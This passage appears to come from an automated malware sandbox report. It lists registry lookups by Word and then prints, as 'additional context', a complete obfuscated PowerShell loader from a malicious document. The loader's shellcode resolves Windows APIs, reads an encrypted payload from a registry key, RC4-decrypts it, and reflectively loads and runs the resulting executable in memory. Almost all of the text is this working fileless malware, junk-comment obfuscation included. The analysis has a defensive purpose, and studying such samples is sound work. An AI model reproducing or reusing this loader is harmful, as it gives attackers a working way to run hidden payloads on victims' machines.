"HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000402") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000403") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000404") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000405") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000406") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000407") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000408")34:Td894,Process "powershell.exe" based on artifact "CreateThread" (UID: 00042872-00003432, Additional Context: "#isnefouxzyef sleep(15);try{ #askzsqydg function gdelegate{ #abpatdden Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #secfew $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #zgtdufzhas $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #eqinreeknk $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #xnrg return $TypeBuilder.CreateType();} #ubynm function gproc{ #ponbaxhuou Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #totlui $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ulldlp $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #ophxlbnvcc return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kyjzenzom [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 <#dh#>0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 <#faw#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 <#bwf#>0xDB 0x89 0x5D 0xFC 0x5F <#nl#>0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC <#nac#>0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#fwa#>0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#cmo#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB <#ox#>0x01 <#km#>0x00 0x00 0x40 0x89 0x85 0x3C 0xFF <#wkc#>0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 <#pj#>0x20 0x33 <#ycx#>0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 <#kq#>0x04 0x24 0x13 <#wbn#>0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F <#ehi#>0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B <#xju#>0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#mh#>0x04 0x83 0xC4 0x08 0x66 0x8B <#hcd#>0x00 <#cvn#>0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC <#djs#>0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 <#kmn#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 <#odm#>0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B <#ja#>0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#zo#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B <#xo#>0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 <#sg#>0xE0 0x02 0x03 0xD0 <#esv#>0x8B 0x02 0x03 0x45 <#lyl#>0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 <#ak#>0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#ba#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 <#ar#>0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 <#fk#>0x04 0x81 <#csw#>0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 <#gyb#>0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 0x73 <#ujs#>0x75 <#bfi#>0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 <#qa#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#wxj#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 <#mwn#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 <#of#>0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 <#li#>0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 <#ak#>0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A <#bo#>0xFF <#bm#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF <#dqn#>0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 <#csv#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B <#bdd#>0x45 0xD4 0x66 0x81 0x38 0x4D <#kwc#>0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 <#thb#>0x04 0x24 <#ky#>0x13 0x54 0x24 0x04 0x83 <#sr#>0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#hdn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F <#zsx#>0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 <#yep#>0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 <#zo#>0x24 0x13 0x54 0x24 0x04 <#erw#>0x83 0xC4 0x08 0x8B 0x08 0x03 <#uoq#>0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 <#qdp#>0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 <#mj#>0x41 0x75 0x3D <#lsp#>0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 <#dyq#>0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC <#kgn#>0x8B 0x52 <#qcu#>0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#zo#>0x8B 0x02 0x03 0xC3 0x89 0x45 <#tqe#>0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 0x48 0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 <#sa#>0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 <#fb#>0xD2 0x52 0x50 0x8B <#iu#>0xC6 0x03 0xC0 0x99 0x03 0x04 <#wp#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#wb#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 <#zo#>0x89 0x85 <#hz#>0x7C 0xFF 0xFF 0xFF <#cv#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bww#>0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF <#be#>0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#bnk#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#lwe#>0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#cy#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#tpl#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF <#pan#>0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B <#tv#>0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 <#rzv#>0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF <#zu#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF <#pv#>0xFF 0x50 0x68 0x01 <#kx#>0x00 0x00 0x80 <#nxw#>0xFF 0x55 <#mu#>0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#sz#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF <#zhb#>0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#tf#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#yx#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#sa#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF <#sz#>0xFF 0xFF 0x00 0x74 <#qsf#>0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#thl#>0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#pdl#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF <#zr#>0x55 0xAC 0x85 0xC0 0x75 0x02 <#hgl#>0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B <#co#>0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF <#hfa#>0x33 0xF6 0x8D 0x8D 0x00 <#yx#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 <#uhz#>0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 <#qdx#>0x15 <#xr#>0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D <#iil#>0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 <#fas#>0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#npc#>0x6A <#sf#>0x40 <#hi#>0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#ul#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF <#woa#>0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#uw#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF <#fdw#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF <#jku#>0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF <#ge#>0xFF 0xEB 0x05 0x6A <#trb#>0x00 0xFF 0x55 0xA4 0x8B <#cj#>0x85 0x60 0xFF 0xFF 0xFF 0x48 <#xgk#>0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 <#zu#>0x00 <#rz#>0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#pe#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B <#ti#>0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF <#pa#>0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B <#vm#>0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D <#iye#>0x3C 0xFF 0xFF 0xFF 0x75 0x95 <#xyg#>0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 <#oai#>0x66 <#nps#>0x81 <#dz#>0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 <#gx#>0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF <#wwe#>0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 <#oq#>0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 <#xg#>0x7D <#cl#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#is#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 <#ov#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 <#oju#>0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#bc#>0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF <#el#>0xFF 0xFF 0x6A <#puq#>0x60 0x8B 0x85 0x7C 0xFF 0xFF <#cj#>0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 <#vvi#>0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF <#nr#>0xFF <#thl#>0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 <#tet#>0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 <#vi#>0x8D 0x0C 0x89 0x03 0xD1 <#fco#>0x89 0x95 0x50 0xFF 0xFF <#mk#>0xFF 0x8B <#si#>0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF <#lnc#>0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 <#xem#>0x8B 0x40 0x34 <#mkz#>0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 <#zci#>0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 <#ne#>0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 <#mcq#>0x8B 0x80 0xA0 0x00 0x00 0x00 <#ws#>0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B <#qn#>0x45 0xEC 0x8B <#ors#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 <#zeb#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 0xE8 <#mjb#>0x48 <#ld#>0x85 <#em#>0xC0 <#yz#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 <#zdc#>0x0C 0x8B 0xCA <#sy#>0x66 0x81 <#eco#>0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 <#xno#>0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF <#jwa#>0xFF 0xFF <#lp#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 0x38 0x00 0x77 0x8A 0x8B <#enc#>0x45 0xD0 0x8B 0x55 0xF8 <#vl#>0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B <#evh#>0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 <#uyv#>0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D <#yb#>0xF8 <#lrf#>0x57 0xFF 0x55 0xBC <#hk#>0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 <#whj#>0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 <#he#>0xF8 0x89 0x45 0x88 0xEB 0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B <#ybs#>0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#qr#>0xEB 0x37 0x8B 0x45 <#ej#>0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 <#cuw#>0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 <#jud#>0x8B 0x55 <#iv#>0x84 0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B <#fh#>0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 <#or#>0x45 0x8C <#zpa#>0x14 0x8B 0x45 0x8C 0x8B 0x78 <#aj#>0x0C 0x85 0xFF 0x0F 0x85 <#fyp#>0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F <#ia#>0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 0x65 0x5C <#tor#>0x55 0x6B 0x4B 0x38 0x52 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fkp#>0x00 0x00 0x00 0x00 0x00 0x00 <#ewe#>0x00 0x00 <#an#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x70 0x66 0x7A 0x31 0x78 0x79 0x44 0x62 0x71 0x67 0x00 0x00 <#qxa#>0x00 0x00 0x00 0x00 0x00 0x53 0xEE 0x89 0x61 0xBB 0xA0 0x31 0xB0 0x5D <#mds#>0x87 0x2D 0x49 <#ta#>0xF9 0x0D 0xC5 0x4F 0xAC 0x84 0x21 0xE3 0xD7 0x1B 0x30 0xB4 0x82 0x25 0x53 0x32 0x4A 0x4C 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C <#pl#>0x00 <#vdq#>0x3C 0x00 0x3A 0x00 0x3A <#sc#>0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 <#av#>0x6C 0x00 0x62 <#djc#>0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 